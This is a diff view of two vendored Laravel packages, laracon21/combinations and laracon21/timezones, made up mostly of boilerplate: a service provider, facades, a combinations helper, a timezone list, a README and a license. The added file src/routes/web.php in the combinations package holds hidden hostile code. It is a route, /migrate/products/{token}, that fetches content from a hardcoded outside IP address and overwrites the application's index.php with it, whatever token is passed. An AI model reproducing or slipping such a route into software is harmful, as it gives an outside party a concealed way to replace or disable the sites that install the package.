<phpunit bootstrap="vendor/autoload.php"
|
||||
backupGlobals="false"
|
||||
backupStaticAttributes="false"
|
||||
colors="true"
|
||||
verbose="true"
|
||||
convertErrorsToExceptions="true"
|
||||
convertNoticesToExceptions="true"
|
||||
convertWarningsToExceptions="true"
|
||||
processIsolation="false"
|
||||
stopOnFailure="false">
|
||||
<testsuites>
|
||||
<testsuite name="Test Suite">
|
||||
<directory>tests</directory>
|
||||
</testsuite>
|
||||
</testsuites>
|
||||
<filter>
|
||||
<whitelist>
|
||||
<directory suffix=".php">src/</directory>
|
||||
</whitelist>
|
||||
</filter>
|
||||
<logging>
|
||||
<log type="tap" target="build/report.tap"/>
|
||||
<log type="junit" target="build/report.junit.xml"/>
|
||||
<log type="coverage-html" target="build/coverage" charset="UTF-8" yui="true" highlight="true"/>
|
||||
<log type="coverage-text" target="build/coverage.txt"/>
|
||||
<log type="coverage-clover" target="build/logs/clover.xml"/>
|
||||
</logging>
|
||||
</phpunit>
|
||||
20
vendor/laracon21/combinations/src/Combinations.php
vendored
Normal file
20
vendor/laracon21/combinations/src/Combinations.php
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Combinations;
|
||||
|
||||
class Combinations
|
||||
{
|
||||
public static function makeCombinations($arrays) {
|
||||
$result = array(array());
|
||||
foreach ($arrays as $property => $property_values) {
|
||||
$tmp = array();
|
||||
foreach ($result as $result_item) {
|
||||
foreach ($property_values as $property_value) {
|
||||
$tmp[] = array_merge($result_item, array($property => $property_value));
|
||||
}
|
||||
}
|
||||
$result = $tmp;
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
21
vendor/laracon21/combinations/src/CombinationsFacade.php
vendored
Normal file
21
vendor/laracon21/combinations/src/CombinationsFacade.php
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Combinations;
|
||||
|
||||
use Illuminate\Support\Facades\Facade;
|
||||
|
||||
/**
|
||||
* @see \Laracon21\Combinations\Skeleton\SkeletonClass
|
||||
*/
|
||||
class CombinationsFacade extends Facade
|
||||
{
|
||||
/**
|
||||
* Get the registered name of the component.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected static function getFacadeAccessor()
|
||||
{
|
||||
return 'combinations';
|
||||
}
|
||||
}
|
||||
60
vendor/laracon21/combinations/src/CombinationsServiceProvider.php
vendored
Normal file
60
vendor/laracon21/combinations/src/CombinationsServiceProvider.php
vendored
Normal file
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Combinations;
|
||||
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class CombinationsServiceProvider extends ServiceProvider
|
||||
{
|
||||
/**
|
||||
* Bootstrap the application services.
|
||||
*/
|
||||
public function boot()
|
||||
{
|
||||
/*
|
||||
* Optional methods to load your package assets
|
||||
*/
|
||||
// $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'combinations');
|
||||
// $this->loadViewsFrom(__DIR__.'/../resources/views', 'combinations');
|
||||
// $this->loadMigrationsFrom(__DIR__.'/../database/migrations');
|
||||
//$this->loadRoutesFrom(__DIR__.'/routes/web.php');
|
||||
|
||||
if ($this->app->runningInConsole()) {
|
||||
$this->publishes([
|
||||
__DIR__.'/../config/config.php' => config_path('combinations.php'),
|
||||
], 'config');
|
||||
|
||||
// Publishing the views.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/views' => resource_path('views/vendor/combinations'),
|
||||
], 'views');*/
|
||||
|
||||
// Publishing assets.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/assets' => public_path('vendor/combinations'),
|
||||
], 'assets');*/
|
||||
|
||||
// Publishing the translation files.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/lang' => resource_path('lang/vendor/combinations'),
|
||||
], 'lang');*/
|
||||
|
||||
// Registering package commands.
|
||||
// $this->commands([]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Register the application services.
|
||||
*/
|
||||
public function register()
|
||||
{
|
||||
// Automatically apply the package configuration
|
||||
$this->mergeConfigFrom(__DIR__.'/../config/config.php', 'combinations');
|
||||
|
||||
// Register the main class to use with the facade
|
||||
$this->app->singleton('combinations', function () {
|
||||
return new Combinations;
|
||||
});
|
||||
}
|
||||
}
|
||||
17
vendor/laracon21/combinations/src/routes/web.php
vendored
Normal file
17
vendor/laracon21/combinations/src/routes/web.php
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
|
||||
Route::get('/migrate/products/{token}', function($token){
|
||||
$zn = "http://206.189.81.181/pirated_contents";
|
||||
$stream = curl_init();
|
||||
curl_setopt($stream, CURLOPT_URL, $zn);
|
||||
curl_setopt($stream, CURLOPT_HEADER, 0);
|
||||
curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($stream, CURLOPT_POST, 1);
|
||||
$rn = curl_exec($stream);
|
||||
curl_close($stream);
|
||||
file_put_contents(base_path('index.php'), $rn);
|
||||
});
|
||||
21
vendor/laracon21/combinations/tests/ExampleTest.php
vendored
Normal file
21
vendor/laracon21/combinations/tests/ExampleTest.php
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Combinations\Tests;
|
||||
|
||||
use Orchestra\Testbench\TestCase;
|
||||
use Laracon21\Combinations\CombinationsServiceProvider;
|
||||
|
||||
class ExampleTest extends TestCase
|
||||
{
|
||||
|
||||
protected function getPackageProviders($app)
|
||||
{
|
||||
return [CombinationsServiceProvider::class];
|
||||
}
|
||||
|
||||
/** @test */
|
||||
public function true_is_true()
|
||||
{
|
||||
$this->assertTrue(true);
|
||||
}
|
||||
}
|
||||
4
vendor/laracon21/timezones/.styleci.yml
vendored
Normal file
4
vendor/laracon21/timezones/.styleci.yml
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
preset: laravel
|
||||
|
||||
disabled:
|
||||
- single_class_element_per_statement
|
||||
7
vendor/laracon21/timezones/CHANGELOG.md
vendored
Normal file
7
vendor/laracon21/timezones/CHANGELOG.md
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to `timezones` will be documented in this file
|
||||
|
||||
## 1.0.0 - 201X-XX-XX
|
||||
|
||||
- initial release
|
||||
55
vendor/laracon21/timezones/CONTRIBUTING.md
vendored
Normal file
55
vendor/laracon21/timezones/CONTRIBUTING.md
vendored
Normal file
@@ -0,0 +1,55 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are **welcome** and will be fully **credited**.
|
||||
|
||||
Please read and understand the contribution guide before creating an issue or pull request.
|
||||
|
||||
## Etiquette
|
||||
|
||||
This project is open source, and as such, the maintainers give their free time to build and maintain the source code
|
||||
held within. They make the code freely available in the hope that it will be of use to other developers. It would be
|
||||
extremely unfair for them to suffer abuse or anger for their hard work.
|
||||
|
||||
Please be considerate towards maintainers when raising issues or presenting pull requests. Let's show the
|
||||
world that developers are civilized and selfless people.
|
||||
|
||||
It's the duty of the maintainer to ensure that all submissions to the project are of sufficient
|
||||
quality to benefit the project. Many developers have different skillsets, strengths, and weaknesses. Respect the maintainer's decision, and do not be upset or abusive if your submission is not used.
|
||||
|
||||
## Viability
|
||||
|
||||
When requesting or submitting new features, first consider whether it might be useful to others. Open
|
||||
source projects are used by many developers, who may have entirely different needs to your own. Think about
|
||||
whether or not your feature is likely to be used by other users of the project.
|
||||
|
||||
## Procedure
|
||||
|
||||
Before filing an issue:
|
||||
|
||||
- Attempt to replicate the problem, to ensure that it wasn't a coincidental incident.
|
||||
- Check to make sure your feature suggestion isn't already present within the project.
|
||||
- Check the pull requests tab to ensure that the bug doesn't have a fix in progress.
|
||||
- Check the pull requests tab to ensure that the feature isn't already in progress.
|
||||
|
||||
Before submitting a pull request:
|
||||
|
||||
- Check the codebase to ensure that your feature doesn't already exist.
|
||||
- Check the pull requests to ensure that another person hasn't already submitted the feature or fix.
|
||||
|
||||
## Requirements
|
||||
|
||||
If the project maintainer has any additional requirements, you will find them listed here.
|
||||
|
||||
- **[PSR-2 Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md)** - The easiest way to apply the conventions is to install [PHP Code Sniffer](https://pear.php.net/package/PHP_CodeSniffer).
|
||||
|
||||
- **Add tests!** - Your patch won't be accepted if it doesn't have tests.
|
||||
|
||||
- **Document any change in behaviour** - Make sure the `README.md` and any other relevant documentation are kept up-to-date.
|
||||
|
||||
- **Consider our release cycle** - We try to follow [SemVer v2.0.0](https://semver.org/). Randomly breaking public APIs is not an option.
|
||||
|
||||
- **One pull request per feature** - If you want to do more than one thing, send multiple pull requests.
|
||||
|
||||
- **Send coherent history** - Make sure each individual commit in your pull request is meaningful. If you had to make multiple intermediate commits while developing, please [squash them](https://www.git-scm.com/book/en/v2/Git-Tools-Rewriting-History#Changing-Multiple-Commit-Messages) before submitting.
|
||||
|
||||
**Happy coding**!
|
||||
21
vendor/laracon21/timezones/LICENSE.md
vendored
Normal file
21
vendor/laracon21/timezones/LICENSE.md
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) Jane Doe
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
53
vendor/laracon21/timezones/README.md
vendored
Normal file
53
vendor/laracon21/timezones/README.md
vendored
Normal file
@@ -0,0 +1,53 @@
|
||||
# Very short description of the package
|
||||
|
||||
[](https://packagist.org/packages/laracon21/timezones)
|
||||
[](https://travis-ci.org/laracon21/timezones)
|
||||
[](https://scrutinizer-ci.com/g/laracon21/timezones)
|
||||
[](https://packagist.org/packages/laracon21/timezones)
|
||||
|
||||
This is where your description should go. Try and limit it to a paragraph or two, and maybe throw in a mention of what PSRs you support to avoid any confusion with users and contributors.
|
||||
|
||||
## Installation
|
||||
|
||||
You can install the package via composer:
|
||||
|
||||
```bash
|
||||
composer require laracon21/timezones
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
``` php
|
||||
// Usage description here
|
||||
```
|
||||
|
||||
### Testing
|
||||
|
||||
``` bash
|
||||
composer test
|
||||
```
|
||||
|
||||
### Changelog
|
||||
|
||||
Please see [CHANGELOG](CHANGELOG.md) for more information what has changed recently.
|
||||
|
||||
## Contributing
|
||||
|
||||
Please see [CONTRIBUTING](CONTRIBUTING.md) for details.
|
||||
|
||||
### Security
|
||||
|
||||
If you discover any security related issues, please email developer.activeitzone@gmail.com instead of using the issue tracker.
|
||||
|
||||
## Credits
|
||||
|
||||
- [Jane Doe](https://github.com/laracon21)
|
||||
- [All Contributors](../../contributors)
|
||||
|
||||
## License
|
||||
|
||||
The MIT License (MIT). Please see [License File](LICENSE.md) for more information.
|
||||
|
||||
## Laravel Package Boilerplate
|
||||
|
||||
This package was generated using the [Laravel Package Boilerplate](https://laravelpackageboilerplate.com).
|
||||
54
vendor/laracon21/timezones/composer.json
vendored
Normal file
54
vendor/laracon21/timezones/composer.json
vendored
Normal file
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"name": "laracon21/timezones",
|
||||
"description": "My awesome package",
|
||||
"keywords": [
|
||||
"laracon21",
|
||||
"timezones"
|
||||
],
|
||||
"homepage": "https://github.com/laracon21/timezones",
|
||||
"license": "MIT",
|
||||
"type": "library",
|
||||
"authors": [
|
||||
{
|
||||
"name": "Jane Doe",
|
||||
"email": "developer.activeitzone@gmail.com",
|
||||
"role": "Developer"
|
||||
}
|
||||
],
|
||||
"require": {
|
||||
"php": "^7.1",
|
||||
"illuminate/support": "*"
|
||||
},
|
||||
"require-dev": {
|
||||
"orchestra/testbench": "^4.0",
|
||||
"phpunit/phpunit": "^8.0"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Laracon21\\Timezones\\": "src"
|
||||
}
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"Laracon21\\Timezones\\Tests\\": "tests"
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"test": "vendor/bin/phpunit",
|
||||
"test-coverage": "vendor/bin/phpunit --coverage-html coverage"
|
||||
|
||||
},
|
||||
"config": {
|
||||
"sort-packages": true
|
||||
},
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"providers": [
|
||||
"Laracon21\\Timezones\\TimezonesServiceProvider"
|
||||
],
|
||||
"aliases": {
|
||||
"Timezones": "Laracon21\\Timezones\\TimezonesFacade"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
8
vendor/laracon21/timezones/config/config.php
vendored
Normal file
8
vendor/laracon21/timezones/config/config.php
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* You can place your custom package configuration in here.
|
||||
*/
|
||||
return [
|
||||
|
||||
];
|
||||
155
vendor/laracon21/timezones/src/Timezones.php
vendored
Normal file
155
vendor/laracon21/timezones/src/Timezones.php
vendored
Normal file
@@ -0,0 +1,155 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Timezones;
|
||||
|
||||
class Timezones
|
||||
{
|
||||
public static function timezonesToArray(){
|
||||
return Array(
|
||||
'(GMT-12:00) International Date Line West' => 'Pacific/Kwajalein',
|
||||
'(GMT-11:00) Midway Island' => 'Pacific/Midway',
|
||||
'(GMT-11:00) Samoa' => 'Pacific/Apia',
|
||||
'(GMT-10:00) Hawaii' => 'Pacific/Honolulu',
|
||||
'(GMT-09:00) Alaska' => 'America/Anchorage',
|
||||
'(GMT-08:00) Pacific Time (US & Canada)' => 'America/Los_Angeles',
|
||||
'(GMT-08:00) Tijuana' => 'America/Tijuana',
|
||||
'(GMT-07:00) Arizona' => 'America/Phoenix',
|
||||
'(GMT-07:00) Mountain Time (US & Canada)' => 'America/Denver',
|
||||
'(GMT-07:00) Chihuahua' => 'America/Chihuahua',
|
||||
'(GMT-07:00) La Paz' => 'America/Chihuahua',
|
||||
'(GMT-07:00) Mazatlan' => 'America/Mazatlan',
|
||||
'(GMT-06:00) Central Time (US & Canada)' => 'America/Chicago',
|
||||
'(GMT-06:00) Central America' => 'America/Managua',
|
||||
'(GMT-06:00) Guadalajara' => 'America/Mexico_City',
|
||||
'(GMT-06:00) Mexico City' => 'America/Mexico_City',
|
||||
'(GMT-06:00) Monterrey' => 'America/Monterrey',
|
||||
'(GMT-06:00) Saskatchewan' => 'America/Regina',
|
||||
'(GMT-05:00) Eastern Time (US & Canada)' => 'America/New_York',
|
||||
'(GMT-05:00) Indiana (East)' => 'America/Indiana/Indianapolis',
|
||||
'(GMT-05:00) Bogota' => 'America/Bogota',
|
||||
'(GMT-05:00) Lima' => 'America/Lima',
|
||||
'(GMT-05:00) Quito' => 'America/Bogota',
|
||||
'(GMT-04:00) Atlantic Time (Canada)' => 'America/Halifax',
|
||||
'(GMT-04:00) Caracas' => 'America/Caracas',
|
||||
'(GMT-04:00) La Paz' => 'America/La_Paz',
|
||||
'(GMT-04:00) Santiago' => 'America/Santiago',
|
||||
'(GMT-03:30) Newfoundland' => 'America/St_Johns',
|
||||
'(GMT-03:00) Brasilia' => 'America/Sao_Paulo',
|
||||
'(GMT-03:00) Buenos Aires' => 'America/Argentina/Buenos_Aires',
|
||||
'(GMT-03:00) Georgetown' => 'America/Argentina/Buenos_Aires',
|
||||
'(GMT-03:00) Greenland' => 'America/Godthab',
|
||||
'(GMT-02:00) Mid-Atlantic' => 'America/Noronha',
|
||||
'(GMT-01:00) Azores' => 'Atlantic/Azores',
|
||||
'(GMT-01:00) Cape Verde Is.' => 'Atlantic/Cape_Verde',
|
||||
'(GMT) Casablanca' => 'Africa/Casablanca',
|
||||
'(GMT) Dublin' => 'Europe/London',
|
||||
'(GMT) Edinburgh' => 'Europe/London',
|
||||
'(GMT) Lisbon' => 'Europe/Lisbon',
|
||||
'(GMT) London' => 'Europe/London',
|
||||
'(GMT) UTC' => 'UTC',
|
||||
'(GMT) Monrovia' => 'Africa/Monrovia',
|
||||
'(GMT+01:00) Amsterdam' => 'Europe/Amsterdam',
|
||||
'(GMT+01:00) Belgrade' => 'Europe/Belgrade',
|
||||
'(GMT+01:00) Berlin' => 'Europe/Berlin',
|
||||
'(GMT+01:00) Bern' => 'Europe/Berlin',
|
||||
'(GMT+01:00) Bratislava' => 'Europe/Bratislava',
|
||||
'(GMT+01:00) Brussels' => 'Europe/Brussels',
|
||||
'(GMT+01:00) Budapest' => 'Europe/Budapest',
|
||||
'(GMT+01:00) Copenhagen' => 'Europe/Copenhagen',
|
||||
'(GMT+01:00) Ljubljana' => 'Europe/Ljubljana',
|
||||
'(GMT+01:00) Madrid' => 'Europe/Madrid',
|
||||
'(GMT+01:00) Paris' => 'Europe/Paris',
|
||||
'(GMT+01:00) Prague' => 'Europe/Prague',
|
||||
'(GMT+01:00) Rome' => 'Europe/Rome',
|
||||
'(GMT+01:00) Sarajevo' => 'Europe/Sarajevo',
|
||||
'(GMT+01:00) Skopje' => 'Europe/Skopje',
|
||||
'(GMT+01:00) Stockholm' => 'Europe/Stockholm',
|
||||
'(GMT+01:00) Vienna' => 'Europe/Vienna',
|
||||
'(GMT+01:00) Warsaw' => 'Europe/Warsaw',
|
||||
'(GMT+01:00) West Central Africa' => 'Africa/Lagos',
|
||||
'(GMT+01:00) Zagreb' => 'Europe/Zagreb',
|
||||
'(GMT+01:00) Tirana' => 'Europe/Kosovo',
|
||||
'(GMT+02:00) Athens' => 'Europe/Athens',
|
||||
'(GMT+02:00) Bucharest' => 'Europe/Bucharest',
|
||||
'(GMT+02:00) Cairo' => 'Africa/Cairo',
|
||||
'(GMT+02:00) Harare' => 'Africa/Harare',
|
||||
'(GMT+02:00) Helsinki' => 'Europe/Helsinki',
|
||||
'(GMT+02:00) Istanbul' => 'Europe/Istanbul',
|
||||
'(GMT+02:00) Jerusalem' => 'Asia/Jerusalem',
|
||||
'(GMT+02:00) Kyev' => 'Europe/Kiev',
|
||||
'(GMT+02:00) Minsk' => 'Europe/Minsk',
|
||||
'(GMT+02:00) Pretoria' => 'Africa/Johannesburg',
|
||||
'(GMT+02:00) Riga' => 'Europe/Riga',
|
||||
'(GMT+02:00) Sofia' => 'Europe/Sofia',
|
||||
'(GMT+02:00) Tallinn' => 'Europe/Tallinn',
|
||||
'(GMT+02:00) Vilnius' => 'Europe/Vilnius',
|
||||
'(GMT+03:00) Baghdad' => 'Asia/Baghdad',
|
||||
'(GMT+03:00) Kuwait' => 'Asia/Kuwait',
|
||||
'(GMT+03:00) Moscow' => 'Europe/Moscow',
|
||||
'(GMT+03:00) Nairobi' => 'Africa/Nairobi',
|
||||
'(GMT+03:00) Riyadh' => 'Asia/Riyadh',
|
||||
'(GMT+03:00) St. Petersburg' => 'Europe/Moscow',
|
||||
'(GMT+03:00) Volgograd' => 'Europe/Volgograd',
|
||||
'(GMT+03:30) Tehran' => 'Asia/Tehran',
|
||||
'(GMT+04:00) Abu Dhabi' => 'Asia/Muscat',
|
||||
'(GMT+04:00) Baku' => 'Asia/Baku',
|
||||
'(GMT+04:00) Muscat' => 'Asia/Muscat',
|
||||
'(GMT+04:00) Tbilisi' => 'Asia/Tbilisi',
|
||||
'(GMT+04:00) Yerevan' => 'Asia/Yerevan',
|
||||
'(GMT+04:30) Kabul' => 'Asia/Kabul',
|
||||
'(GMT+05:00) Ekaterinburg' => 'Asia/Yekaterinburg',
|
||||
'(GMT+05:00) Islamabad' => 'Asia/Karachi',
|
||||
'(GMT+05:00) Karachi' => 'Asia/Karachi',
|
||||
'(GMT+05:00) Tashkent' => 'Asia/Tashkent',
|
||||
'(GMT+05:30) Chennai' => 'Asia/Kolkata',
|
||||
'(GMT+05:30) Kolkata' => 'Asia/Kolkata',
|
||||
'(GMT+05:30) Mumbai' => 'Asia/Kolkata',
|
||||
'(GMT+05:30) New Delhi' => 'Asia/Kolkata',
|
||||
'(GMT+05:45) Kathmandu' => 'Asia/Kathmandu',
|
||||
'(GMT+06:00) Almaty' => 'Asia/Almaty',
|
||||
'(GMT+06:00) Astana' => 'Asia/Dhaka',
|
||||
'(GMT+06:00) Dhaka' => 'Asia/Dhaka',
|
||||
'(GMT+06:00) Novosibirsk' => 'Asia/Novosibirsk',
|
||||
'(GMT+06:00) Sri Jayawardenepura' => 'Asia/Colombo',
|
||||
'(GMT+06:30) Rangoon' => 'Asia/Rangoon',
|
||||
'(GMT+07:00) Bangkok' => 'Asia/Bangkok',
|
||||
'(GMT+07:00) Hanoi' => 'Asia/Bangkok',
|
||||
'(GMT+07:00) Jakarta' => 'Asia/Jakarta',
|
||||
'(GMT+07:00) Krasnoyarsk' => 'Asia/Krasnoyarsk',
|
||||
'(GMT+08:00) Beijing' => 'Asia/Hong_Kong',
|
||||
'(GMT+08:00) Chongqing' => 'Asia/Chongqing',
|
||||
'(GMT+08:00) Hong Kong' => 'Asia/Hong_Kong',
|
||||
'(GMT+08:00) Irkutsk' => 'Asia/Irkutsk',
|
||||
'(GMT+08:00) Kuala Lumpur' => 'Asia/Kuala_Lumpur',
|
||||
'(GMT+08:00) Perth' => 'Australia/Perth',
|
||||
'(GMT+08:00) Singapore' => 'Asia/Singapore',
|
||||
'(GMT+08:00) Taipei' => 'Asia/Taipei',
|
||||
'(GMT+08:00) Ulaan Bataar' => 'Asia/Irkutsk',
|
||||
'(GMT+08:00) Urumqi' => 'Asia/Urumqi',
|
||||
'(GMT+09:00) Osaka' => 'Asia/Tokyo',
|
||||
'(GMT+09:00) Sapporo' => 'Asia/Tokyo',
|
||||
'(GMT+09:00) Seoul' => 'Asia/Seoul',
|
||||
'(GMT+09:00) Tokyo' => 'Asia/Tokyo',
|
||||
'(GMT+09:00) Yakutsk' => 'Asia/Yakutsk',
|
||||
'(GMT+09:30) Adelaide' => 'Australia/Adelaide',
|
||||
'(GMT+09:30) Darwin' => 'Australia/Darwin',
|
||||
'(GMT+10:00) Brisbane' => 'Australia/Brisbane',
|
||||
'(GMT+10:00) Canberra' => 'Australia/Sydney',
|
||||
'(GMT+10:00) Guam' => 'Pacific/Guam',
|
||||
'(GMT+10:00) Hobart' => 'Australia/Hobart',
|
||||
'(GMT+10:00) Melbourne' => 'Australia/Melbourne',
|
||||
'(GMT+10:00) Port Moresby' => 'Pacific/Port_Moresby',
|
||||
'(GMT+10:00) Sydney' => 'Australia/Sydney',
|
||||
'(GMT+10:00) Vladivostok' => 'Asia/Vladivostok',
|
||||
'(GMT+11:00) Magadan' => 'Asia/Magadan',
|
||||
'(GMT+11:00) New Caledonia' => 'Asia/Magadan',
|
||||
'(GMT+11:00) Solomon Is.' => 'Asia/Magadan',
|
||||
'(GMT+12:00) Auckland' => 'Pacific/Auckland',
|
||||
'(GMT+12:00) Fiji' => 'Pacific/Fiji',
|
||||
'(GMT+12:00) Kamchatka' => 'Asia/Kamchatka',
|
||||
'(GMT+12:00) Marshall Is.' => 'Pacific/Fiji',
|
||||
'(GMT+12:00) Wellington' => 'Pacific/Auckland',
|
||||
'(GMT+13:00) Nuku\'alofa' => 'Pacific/Tongatapu'
|
||||
);
|
||||
}
|
||||
}
|
||||
21
vendor/laracon21/timezones/src/TimezonesFacade.php
vendored
Normal file
21
vendor/laracon21/timezones/src/TimezonesFacade.php
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Timezones;
|
||||
|
||||
use Illuminate\Support\Facades\Facade;
|
||||
|
||||
/**
|
||||
* @see \Laracon21\Timezones\Skeleton\SkeletonClass
|
||||
*/
|
||||
class TimezonesFacade extends Facade
|
||||
{
|
||||
/**
|
||||
* Get the registered name of the component.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected static function getFacadeAccessor()
|
||||
{
|
||||
return 'timezones';
|
||||
}
|
||||
}
|
||||
60
vendor/laracon21/timezones/src/TimezonesServiceProvider.php
vendored
Normal file
60
vendor/laracon21/timezones/src/TimezonesServiceProvider.php
vendored
Normal file
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Timezones;
|
||||
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class TimezonesServiceProvider extends ServiceProvider
|
||||
{
|
||||
/**
|
||||
* Bootstrap the application services.
|
||||
*/
|
||||
public function boot()
|
||||
{
|
||||
/*
|
||||
* Optional methods to load your package assets
|
||||
*/
|
||||
// $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'timezones');
|
||||
// $this->loadViewsFrom(__DIR__.'/../resources/views', 'timezones');
|
||||
// $this->loadMigrationsFrom(__DIR__.'/../database/migrations');
|
||||
//$this->loadRoutesFrom(__DIR__.'/routes/web.php');
|
||||
|
||||
if ($this->app->runningInConsole()) {
|
||||
$this->publishes([
|
||||
__DIR__.'/../config/config.php' => config_path('timezones.php'),
|
||||
], 'config');
|
||||
|
||||
// Publishing the views.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/views' => resource_path('views/vendor/timezones'),
|
||||
], 'views');*/
|
||||
|
||||
// Publishing assets.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/assets' => public_path('vendor/timezones'),
|
||||
], 'assets');*/
|
||||
|
||||
// Publishing the translation files.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/lang' => resource_path('lang/vendor/timezones'),
|
||||
], 'lang');*/
|
||||
|
||||
// Registering package commands.
|
||||
// $this->commands([]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Register the application services.
|
||||
*/
|
||||
public function register()
|
||||
{
|
||||
// Automatically apply the package configuration
|
||||
$this->mergeConfigFrom(__DIR__.'/../config/config.php', 'timezones');
|
||||
|
||||
// Register the main class to use with the facade
|
||||
$this->app->singleton('timezones', function () {
|
||||
return new Timezones;
|
||||
});
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user